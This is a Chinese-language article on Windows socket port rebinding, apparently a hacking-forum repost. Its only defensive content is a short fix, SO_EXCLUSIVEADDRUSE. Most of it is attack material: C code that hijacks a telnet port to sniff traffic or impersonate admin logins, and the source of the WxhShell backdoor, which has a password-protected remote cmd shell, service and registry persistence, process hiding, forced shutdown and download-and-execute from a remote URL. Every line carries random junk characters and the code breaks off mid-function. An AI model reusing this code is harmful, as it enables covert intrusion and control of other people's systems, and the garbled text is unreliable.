在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ntD8:%m s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
G~19Vv*; {p7b\=WB- saddr.sin_family = AF_INET;
nm
!H< FS6I?q#tQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
|&\cr\T\r l1D"*J 2` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=>Dw,+" h 7*#;j 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F1b~S;lm !K/zFYl 这意味着什么?意味着可以进行如下的攻击:
rtk1 8U- j(`V&S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Yf[GpSej ~n9- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
V>B*_J,z. Y%YPR=j~ & 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|3uE"\nfA o,DI7sb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Yc~c(1VRz nISfRXU; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
H^0`YQJ3 FW!1 0K? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ARa9Ia{@ OojQG
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
mx")cGGQ `I)ftj% #include
5wGc"JHm #include
F(+dX4$ #include
S0-/9h #include
^]1M8R, DWORD WINAPI ClientThread(LPVOID lpParam);
*Q:EICDE7 int main()
jthGNVZ {
5ofsJ!b' WORD wVersionRequested;
~riV9_- DWORD ret;
.5YIf~!59 WSADATA wsaData;
P1}Fn:Xe%7 BOOL val;
Vv5#{+eT; SOCKADDR_IN saddr;
*XSHzoT* SOCKADDR_IN scaddr;
G~|Z(}H int err;
]2'{W]m SOCKET s;
r d4\N2- 6 SOCKET sc;
cb9q0sdf int caddsize;
Q.`O;D}x HANDLE mt;
09C[B+>h DWORD tid;
8A3!XA wVersionRequested = MAKEWORD( 2, 2 );
eWwI@ASaA err = WSAStartup( wVersionRequested, &wsaData );
`PeWV[? if ( err != 0 ) {
*kWrF* )J printf("error!WSAStartup failed!\n");
B:QAG return -1;
O)WduhlGQ }
kpt0spp saddr.sin_family = AF_INET;
7s-ZRb[)1 Bi|XdS$G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
<j$n7#qk .j_YVYu1& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=a3qpPkx saddr.sin_port = htons(23);
czHbdEh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*C n `pfO {
jM DG printf("error!socket failed!\n");
wa}\bNKQk return -1;
YQk<1./}I }
SUQk0 (M val = TRUE;
??.9`3CYo //SO_REUSEADDR选项就是可以实现端口重绑定的
:D !}jN/) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
tlz)V1L {
K=mW`XXup printf("error!setsockopt failed!\n");
h(VF return -1;
p 6FPdt) }
K,\Bj/V( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
TWFi.w4pY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^@0-E@ {c
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+r
2\v Sxw%6Va]p if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
hWqI*xSaJ {
1Ev#[FOc ret=GetLastError();
Q\4nduQ printf("error!bind failed!\n");
"mm|0PUJ return -1;
(`pd> }
-8r9DS-/W listen(s,2);
L_WVTz?` while(1)
G[=8Ko0U+n {
nQW`X=Ku caddsize = sizeof(scaddr);
|p7k2wzN //接受连接请求
h"~GaI sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,/ P)c*at5 if(sc!=INVALID_SOCKET)
~J:"sUR {
R^=)Ucj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ni4*V3VB if(mt==NULL)
JZ {
*l-(tp5 printf("Thread Creat Failed!\n");
z|gG%fM break;
jS,zdJs= }
#r4S% }
'F665 CloseHandle(mt);
)=)=]|3 }
#n_uELE closesocket(s);
wEImpsC` WSACleanup();
u*NU MT2 return 0;
@Yy:MdREA }
yb(zyGe DWORD WINAPI ClientThread(LPVOID lpParam)
ages-Z_X {
ped3}i+|] SOCKET ss = (SOCKET)lpParam;
-gP4| r8& SOCKET sc;
!hJ%
:^ xL unsigned char buf[4096];
mfNYN4Um6 SOCKADDR_IN saddr;
*?#t (Y[ long num;
,^_aqH DWORD val;
2-3|0<` DWORD ret;
6jIW)C //如果是隐藏端口应用的话,可以在此处加一些判断
= yH#Iil //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*qLOr6 saddr.sin_family = AF_INET;
){.J`X5r saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
IiV#V saddr.sin_port = htons(23);
(HUGgX"= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Tmo+I4qoL {
mj{/' printf("error!socket failed!\n");
G1d!a6> return -1;
qOKC2WD }
]eJjffx val = 100;
f
V|Zh if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vh~:{akR {
jaj."v ret = GetLastError();
`euk&]/^.) return -1;
r"MKkSEM }
T&2aNkuG if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2_ x~y|<9 {
xCd9b:jG ret = GetLastError();
Ij_VO{]G'l return -1;
VS#i>nlT }
jy]<q^J if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
OudD1( )W {
ZR3x;$I~4 printf("error!socket connect failed!\n");
#0HF7C3 closesocket(sc);
,'CDKzY closesocket(ss);
=~&Fq$$ return -1;
{GS7J }
uxq!kF'Ls while(1)
$h Isab_ {
Z' 0Gd@/ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
I499Rrw#E //如果是嗅探内容的话,可以再此处进行内容分析和记录
'y#kRC=G: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/#PEEN num = recv(ss,buf,4096,0);
kMS[ if(num>0)
"-N)TIzLX send(sc,buf,num,0);
9's/~T else if(num==0)
w@Pc7$EP break;
1u\fLAXn num = recv(sc,buf,4096,0);
.&ynS if(num>0)
h-1eDxK6 send(ss,buf,num,0);
sa~.qmqu else if(num==0)
t-\S/N break;
EiY i<Z_S }
urHQb5|T} closesocket(ss);
Zcg=a_ closesocket(sc);
*R*Tmo" return 0 ;
Ah_'.r1<P9 }
#]ii/Et#x ?Rl?Pp=> %aX<p{EY ==========================================================
BPnZ"w_ 0;Y_@UVj 下边附上一个代码,,WXhSHELL
LB1.N!q1 m7 !Fb
==========================================================
Q:]F* p2 1anV!&a<K( #include "stdafx.h"
{Ex0mw)T 'M\ou}P #include <stdio.h>
xA nAW #include <string.h>
Llf>C,) #include <windows.h>
G!uQ|<( #include <winsock2.h>
G }<q #include <winsvc.h>
%Gn(b1X #include <urlmon.h>
$-VW)~Sl XcA4EBRj
#pragma comment (lib, "Ws2_32.lib")
E'LkoyI #pragma comment (lib, "urlmon.lib")
l}X3uyS t-SGG{ #define MAX_USER 100 // 最大客户端连接数
+fzZ\ #define BUF_SOCK 200 // sock buffer
r+HJ_R,5A #define KEY_BUFF 255 // 输入 buffer
&X^~%\F:2 !+cRtCaA:: #define REBOOT 0 // 重启
`xkJ.,#Io #define SHUTDOWN 1 // 关机
kTG}>I n<7#?X7 #define DEF_PORT 5000 // 监听端口
M`umfw T `SWf)1K #define REG_LEN 16 // 注册表键长度
+MOUO$;fGt #define SVC_LEN 80 // NT服务名长度
uJG^>B?`b LX
j Tqp' // 从dll定义API
?x]T&S{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
GZ@!jF>!u typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
knypSgk_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
t09,X typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
MC3XGnT#5 J6Mm=bO5 // wxhshell配置信息
c0Jf struct WSCFG {
Y(/VW&K&: int ws_port; // 监听端口
(~{7 e/)r char ws_passstr[REG_LEN]; // 口令
`c{i+ int ws_autoins; // 安装标记, 1=yes 0=no
8(%iYs$ char ws_regname[REG_LEN]; // 注册表键名
W.o
W=< char ws_svcname[REG_LEN]; // 服务名
PG)dIec char ws_svcdisp[SVC_LEN]; // 服务显示名
G:'-|h char ws_svcdesc[SVC_LEN]; // 服务描述信息
THK)G2
= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
G
<m{ o int ws_downexe; // 下载执行标记, 1=yes 0=no
q{c6DCc ]\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
e)\s0# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~J"*ahl GVY_u@6 };
~9]tt\jN*Y l4u`R(!n5 // default Wxhshell configuration
-BACdX struct WSCFG wscfg={DEF_PORT,
H"I|dK : "xuhuanlingzhe",
u9m"{KnV 1,
<H)h+?&~d "Wxhshell",
,[+gE\z{{u "Wxhshell",
vC\]7]mC "WxhShell Service",
b#k$/A@ "Wrsky Windows CmdShell Service",
tA@#SIw "Please Input Your Password: ",
-CY?~WL& 1,
.he%a3e "
http://www.wrsky.com/wxhshell.exe",
Yk<?HNf "Wxhshell.exe"
&e_M \D };
Wuye:b! 0_qqBL.4 // 消息定义模块
~mK9S^[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K*;=^PY char *msg_ws_prompt="\n\r? for help\n\r#>";
X"8Jk4y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
tTF/$`Q#* char *msg_ws_ext="\n\rExit.";
)1J&tV*U char *msg_ws_end="\n\rQuit.";
_V6;`{$WK char *msg_ws_boot="\n\rReboot...";
GC$Hp!H char *msg_ws_poff="\n\rShutdown...";
V'^s5 char *msg_ws_down="\n\rSave to ";
|??uVA)\X 5`6@CRef char *msg_ws_err="\n\rErr!";
2#6yO`?uo char *msg_ws_ok="\n\rOK!";
sxnj`z Tp[ub(/;7 char ExeFile[MAX_PATH];
Y4!v1 int nUser = 0;
QS_"fsyN: HANDLE handles[MAX_USER];
<8r%_ '] int OsIsNt;
2}I1z_dq~ C/_W>H_
SERVICE_STATUS serviceStatus;
h{J2CWJ SERVICE_STATUS_HANDLE hServiceStatusHandle;
b V;R}3) O>|Q Zd // 函数声明
A#2Fd7& int Install(void);
ThwE1M int Uninstall(void);
4\ H;A int DownloadFile(char *sURL, SOCKET wsh);
"+&|$* int Boot(int flag);
+UHf&i/3 void HideProc(void);
~2V|]Y;s int GetOsVer(void);
Sxjwqqv int Wxhshell(SOCKET wsl);
7qgHH p void TalkWithClient(void *cs);
}I,]"0b int CmdShell(SOCKET sock);
}#'O b int StartFromService(void);
X!"ltNd int StartWxhshell(LPSTR lpCmdLine);
*Yl9%x]3c "J%u
!~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<d$|~qS_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
^#lPXC Bg n/S1Hae` // 数据结构和表定义
hUB_[#8# SERVICE_TABLE_ENTRY DispatchTable[] =
=<iK3bPkU {
Mh[;E'C6 {wscfg.ws_svcname, NTServiceMain},
bb+-R_3Kd {NULL, NULL}
ui YZk3 };
MPT*[&\- #r#UO // 自我安装
E]6;nY? int Install(void)
C:l
/% {
e6QUe.S char svExeFile[MAX_PATH];
b)3dZ*cOJ HKEY key;
g15e|y)th strcpy(svExeFile,ExeFile);
,~JxYh g"hm"m}i // 如果是win9x系统,修改注册表设为自启动
m+"?;;s if(!OsIsNt) {
L@t<%fy@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
K.",=\53 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
HPg@yx"U RegCloseKey(key);
80&JEtRh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%W+*)u72( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/b@8#px RegCloseKey(key);
GO+cCNMa" return 0;
z6ArSLlZ }
u!
x9O8y }
+i4S^B/8i }
}O<=!^Y;A else {
%m t|Dl 3!,XR\`[ // 如果是NT以上系统,安装为系统服务
}R;.~F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
3/@7$nV if (schSCManager!=0)
y5RcJM {
Tc T%[h! SC_HANDLE schService = CreateService
SwV0q (
*y='0)[BD schSCManager,
b{b2L. wscfg.ws_svcname,
ow>^(>^~ wscfg.ws_svcdisp,
Ym8G=KA SERVICE_ALL_ACCESS,
O0i_h<T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
506B= SERVICE_AUTO_START,
(XX6M[M8 SERVICE_ERROR_NORMAL,
T7'njaLec svExeFile,
S}cpYjnH8 NULL,
jY('?3 NULL,
fJH09:@^% NULL,
w\:-lX w NULL,
:0Rd )*k,v NULL
u-qg9qXJb );
0;#%KC, if (schService!=0)
8&IsZPq%l {
i"_)91RA CloseServiceHandle(schService);
#Ne<=ayS CloseServiceHandle(schSCManager);
G{pfyfF strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
e_kP=|u)g strcat(svExeFile,wscfg.ws_svcname);
Nh^T,nv*l if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{W)Kz_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4h@jJm
RegCloseKey(key);
(Ub=sC return 0;
N&]v\MjI62 }
[}9sq+## }
\ExM.T CloseServiceHandle(schSCManager);
-}/u?3^- }
9gZMfP }
C},;M@xV w-C~
Ik return 1;
TUw^KSa }
u}\F9~W-{ }/nbv;) // 自我卸载
X};m \Bz int Uninstall(void)
me_DONW {
=!w5%|r. HKEY key;
v~H1Il_+ mSp- if(!OsIsNt) {
zH0%;
o} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[ >O4hifq RegDeleteValue(key,wscfg.ws_regname);
9z$]hl RegCloseKey(key);
Z3g6?2w6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
z\Rs?v" RegDeleteValue(key,wscfg.ws_regname);
3l_Ko%qS RegCloseKey(key);
`MAee8u' return 0;
X/gIH/ }
gbsRf&4h }
OL4I}^*, }
!
@{rkp else {
1P.
W 34 W=c7>s0> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Nwr.mtvh if (schSCManager!=0)
:3^b>(W. {
X^r5su? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\V
/s if (schService!=0)
p(QB 5at {
EgOAEv if(DeleteService(schService)!=0) {
Jkzt=6WZ0 CloseServiceHandle(schService);
X6kB
R CloseServiceHandle(schSCManager);
rbiNp6AdL return 0;
[ R+zzl&Zw }
r(y1^S9!8 CloseServiceHandle(schService);
!rZO~a0 }
es]\xw CloseServiceHandle(schSCManager);
+0rMv }
T]Gxf"mK }
C)~YWx@v x%23oPM return 1;
`zGK$,[% }
3$ cDC8 =2] .G Gg // 从指定url下载文件
dB+x,+%u+ int DownloadFile(char *sURL, SOCKET wsh)
]W7(}~m {
a/;u:" HRESULT hr;
Y]/(R"-2G char seps[]= "/";
v_)a=I%o&2 char *token;
IMIZ#/ char *file;
+-&N<U char myURL[MAX_PATH];
F' s($n char myFILE[MAX_PATH];
?Z0T9e< /=w9bUj5v strcpy(myURL,sURL);
9_h3<3e token=strtok(myURL,seps);
5!$m3j_,]? while(token!=NULL)
O{ zY(`[ {
C7[ge& file=token;
jCDZ$W89 token=strtok(NULL,seps);
_QbLg"O }
mr6/d1af_ F`SOF O GetCurrentDirectory(MAX_PATH,myFILE);
5 WSu strcat(myFILE, "\\");
/ZqBO*] strcat(myFILE, file);
zWoPa,
send(wsh,myFILE,strlen(myFILE),0);
[_hHZMTH send(wsh,"...",3,0);
@qmONQ eb hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
TU&6\]yF_ if(hr==S_OK)
S8*VjG?T\ return 0;
("0@_05OH else
dya]^L}fL return 1;
T=35? 9w'3d@ }
06"p^# #qXE[% // 系统电源模块
fZL%H0& int Boot(int flag)
A`Q'I$fj {
@P#uH5U HANDLE hToken;
%ANo^~8 TOKEN_PRIVILEGES tkp;
.yE!,^j.gB V#.;OtF] if(OsIsNt) {
+5H9mk OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
u
+q}9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8:;_MBt tkp.PrivilegeCount = 1;
bq[j4xH0X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
b/Y9fQn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:-ZE~bHJ if(flag==REBOOT) {
p.^mOkpt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Z m9 e|J return 0;
:LBG6J }
lS]<~ else {
$3S6{" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
j89|hG)2 return 0;
tRRPNY }
LuY`mi }
?Y+xuY/t else {
ot]eaad if(flag==REBOOT) {
H1_XEcaM+* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
s|rlpd4y return 0;
(__=*ew }
K]' 84!l else {
p8K4^H if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hm3,?FMbq return 0;
O=LS~&=, }
3":ef|w] }
x?Z)q4 Cbm return 1;
9)0AwLlv }
: Q X~bq Qw4P{>|Y // win9x进程隐藏模块
^I3cU'X void HideProc(void)
,Q4U<`ds! {
pA)!40kz {k] 2h4 &h HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
NLFs)6\ if ( hKernel != NULL )
GdG1e%y]z {
$fhrGe pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
8v@6 &ras@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
B3K!>lz FreeLibrary(hKernel);
S>}jsP:V }
26JP<&%L 3xef>Xv= return;
*k==2figz }
g]85[xz )hmU/E@ // 获取操作系统版本
geU-T\1[l int GetOsVer(void)
i3t=4[~oL {
ozH7c_ < OSVERSIONINFO winfo;
W)JUMW2| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4O_z|K_k| GetVersionEx(&winfo);
Z
l.}= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
DLcfOOn1I return 1;
JPfNf3<@My else
%<$CH],% return 0;
+Q_(wR"FS }
=Xze ).g 44FK%TmtF // 客户端句柄模块
! utgo/n int Wxhshell(SOCKET wsl)
H|;6K`O_ {
L;/#D>U( SOCKET wsh;
%F-/|x1#Q struct sockaddr_in client;
TEz)d= DWORD myID;
1rh\X[@ Onb*nm while(nUser<MAX_USER)
hh<5?1 {
+*'
int nSize=sizeof(client);
J XKps#,(# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
_?>!Bz
m if(wsh==INVALID_SOCKET) return 1;
4NN-'Z>a ms'&.u&< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=o\:@I[ if(handles[nUser]==0)
u{0+w\xH\ closesocket(wsh);
E{gu39 D else
y _J~n 9R nUser++;
*bRer[7y }
!iUdej^tx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
b9ysxuUdS *}R5=r0 return 0;
lnL&v'{ }
h h}%Z= vLn<=. // 关闭 socket
I8HUH*|)n void CloseIt(SOCKET wsh)
A[J9v{bD {
0CS^S1/[B` closesocket(wsh);
F48:mfj1r nUser--;
:p@H ExitThread(0);
zMs]9o }
g`)3m,\ 84L!r // 客户端请求句柄
r5Ej void TalkWithClient(void *cs)
zk5sAHQ {
+*,rOK`C ^% BD SOCKET wsh=(SOCKET)cs;
)|,-l^lC char pwd[SVC_LEN];
zYpIG8"o5 char cmd[KEY_BUFF];
{YZ)IaqZ char chr[1];
C.L5\"% int i,j;
,{ CgOz+Ul ^k &zX!W while (nUser < MAX_USER) {
I9*o[Jp5 z:9 if(wscfg.ws_passstr) {
xou7j
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]W<E#^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I=D{(%+^d //ZeroMemory(pwd,KEY_BUFF);
PN2\:l+` i=0;
ju0]~, while(i<SVC_LEN) {
%8/Gsu; 5Zs"CDU // 设置超时
8B;`9?CI fd_set FdRead;
7p3 ;b"' struct timeval TimeOut;
=bs4*[zq FD_ZERO(&FdRead);
F3jrJ+nJ FD_SET(wsh,&FdRead);
+EG.p TimeOut.tv_sec=8;
2T5@~^:7u TimeOut.tv_usec=0;
s=#IoNh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
qM3^)U2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~6U@*Svk 3Zg=ZnF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`}k!SqG pwd
=chr[0]; 9bgKu6-X
if(chr[0]==0xd || chr[0]==0xa) { ?# >|P-4
pwd=0; ^q"p8
break; deaxb8'7
} ~B>I?j
i++; %r6LU<;1@
} F<BhN+U
#[sC H
// 如果是非法用户,关闭 socket %_M B-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~U*2h =]
} ^*C6]*C}te
SZg+5MD;X
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "V~U{(Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6_;3
xp/u, q
while(1) { ./kmI#gaV
>IfJ.g"
ZeroMemory(cmd,KEY_BUFF); t(lTXG
YV-2es+Bd
// 自动支持客户端 telnet标准 W#e:r z8=
j=0; 2t1 WbP1
while(j<KEY_BUFF) { v0X5`VV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '\1%%F7
cmd[j]=chr[0]; Q9K
Gf;
if(chr[0]==0xa || chr[0]==0xd) { ;Iw'TF
cmd[j]=0; ec1snMY
break; 8v1asFxs.
} $f>WR_F
j++; )U<4ul
} v7O{8K+
h1fJ`WT6,
// 下载文件 r-]R4#z>
if(strstr(cmd,"http://")) { @`}'P115@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {xEX_$nv
if(DownloadFile(cmd,wsh)) wX#\\Jgi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Vul#JHW
else #.9Xkn9S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BxZ}YS:
} >~BU<#
else { (n"M)
,~K_rNNZ
switch(cmd[0]) { ?jw)%{iKYV
b_V)]>v+
// 帮助 QI=SR
case '?': { Aplqxvth
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "R*B~73
break; HH^{,53%
} _?kf9 .
// 安装 Tj0eW(<!s
case 'i': { &o4L;A#&
if(Install()) _I{&5V~z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b%$S6.
else 4
CX*,7LZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >z^T~@m7l
break; 8H;TPa
} DX$`\PA
// 卸载 L8bq3Q'p
case 'r': { "%f>/k;!h.
if(Uninstall()) OFRzz G@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k%In
else JB%6G|Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MM'<uy
break; d/t'N-m
} Om}&`AP};
// 显示 wxhshell 所在路径 7Fy^K;V"
case 'p': { D>G&aQ
char svExeFile[MAX_PATH]; _rs#h)
strcpy(svExeFile,"\n\r"); TlBLG.-^
strcat(svExeFile,ExeFile); /cI]Z^&
send(wsh,svExeFile,strlen(svExeFile),0); GrM~%ng
break; aOYd"S}u
} }O1F.5I1
// 重启 r`<evwIe
case 'b': { lq.0?(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pQVi&( M
if(Boot(REBOOT)) WM@uxe,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <wE2ly&x
else { :A[bqRqe
closesocket(wsh); k*!J,/=k
ExitThread(0); 'rR\H2b
} '6 /uc:zv
break; ~{5%~8h.0r
} Fa/i./V2
// 关机 j zPC9
case 'd': { CJu;X[6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fA3
if(Boot(SHUTDOWN)) yS3x))
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sl$dXB@
else { pp{);
closesocket(wsh); U-lN_?
ExitThread(0); uq 6T|Zm
} T.1z<l""
break; 6=')*_~/
} 4a3f!G$
// 获取shell d!gm4hQhl
case 's': { Q|v=W C6
CmdShell(wsh); 6iC}%eU
closesocket(wsh); 2j"%}&
ExitThread(0); r{<u\>6X>P
break; #%{\59/w
} 3Q;^X(Ml*
// 退出 huq6rA/i
case 'x': { hCo&SRC/5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
JI*ikco-
CloseIt(wsh); F2:7UNy,
break; u8W*_;%:
} $ o t"Du
// 离开 DI&xTe9k
case 'q': { )Z;Y,g
send(wsh,msg_ws_end,strlen(msg_ws_end),0); qC6Q5F
closesocket(wsh); 't|F}@HP
WSACleanup(); @Td[rHl
exit(1); XsR%_eT
break; +2?0]6EQ
} jOuv\$
} Y3Qq'FN!I
} .(Pe1pe
4p-$5Fk8}
// 提示信息 J-QQ!qa0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6F(yH4
} {jc~s~<#
} |Ji?p>\~
YT3QwN9
return; _Ng*K]0/E
} Q72wg~% w
lZua"Ju
// shell模块句柄 c]"B)I1L
int CmdShell(SOCKET sock) xUw\Y(!
{ sXydMk`J
STARTUPINFO si; Pw7'6W1
ZeroMemory(&si,sizeof(si)); YVaQ3o|!
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lhc@*_2
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <.' cCY
PROCESS_INFORMATION ProcessInfo; bFVdv&
char cmdline[]="cmd"; 6d.m@T6~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RSi0IfG5
return 0; yk5P/H)
} ~d%Q1F*,=
m3XH3FgKz
// 自身启动模式 (Q4_3<G+
int StartFromService(void) y-@!, @e
{ ,-1$Vh@wM
typedef struct GS$k
{ w|Mj8Lc+
DWORD ExitStatus; e7?W VV,
DWORD PebBaseAddress; A,og9<+j-
DWORD AffinityMask; lxmS.C
DWORD BasePriority; XVLuhwi
ULONG UniqueProcessId; Nb8<8O
^
